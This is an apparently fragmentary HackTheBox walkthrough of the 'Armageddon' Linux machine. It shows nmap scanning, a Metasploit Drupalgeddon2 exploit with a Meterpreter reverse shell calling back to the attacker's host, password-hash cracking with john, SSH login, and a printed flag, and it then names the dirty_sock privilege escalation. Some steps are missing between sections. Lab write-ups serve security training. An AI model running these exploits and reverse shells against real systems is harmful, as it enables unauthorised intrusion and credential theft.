Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.6kReading time ≈6 mins.
introduce
OS: Linux Difficulty: Easy Points: 20 Release: 27 Mar 2021 IP: 10.10.10.233
information gathering
first use nmap as usaul
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/Armageddon] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.233 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
So basically Two ports are opened 22:ssh 80:http
Port-80
There is a simple login page. Let’s check the source code for some juicy stuff.
Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.233 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST tun0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic (PHP In-Memory)
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.5:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. [*] Sending stage (39282 bytes) to 10.10.10.233 [*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.233:59810) at 2021-03-29 07:57:22 -0400 id
meterpreter > id [-] Unknown command: id. meterpreter > getuid Server username: (48) meterpreter > pwd /var/www/html meterpreter > ls Listing: /var/www/html ======================
┌──(root💀kali)-[~/hackthebox/machine/Armageddon] └─# john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (Drupal7, $S$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status booboo (?)
We got the password for brucetherealadmin:booboo
Let’s ssh in real quick and get the user.txt.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root💀kali)-[~/hackthebox/machine/Armageddon] └─# ssh brucetherealadmin@10.10.10.233 The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established. ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts. brucetherealadmin@10.10.10.233's password: Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5 [brucetherealadmin@armageddon ~]$ id uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) 组=1000(brucetherealadmin) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [brucetherealadmin@armageddon ~]$ whoami brucetherealadmin [brucetherealadmin@armageddon ~]$ ls user.txt [brucetherealadmin@armageddon ~]$ cat user.txt da64e52c766febd51f05a14be029868f
Privilege Escalation in Ubuntu Linux (dirty_sock exploit)
dirty_sockv2.py
This github python script doesn’t work in this case so in this script we only need the base64 string and then we decode the base64 string and save it in file.
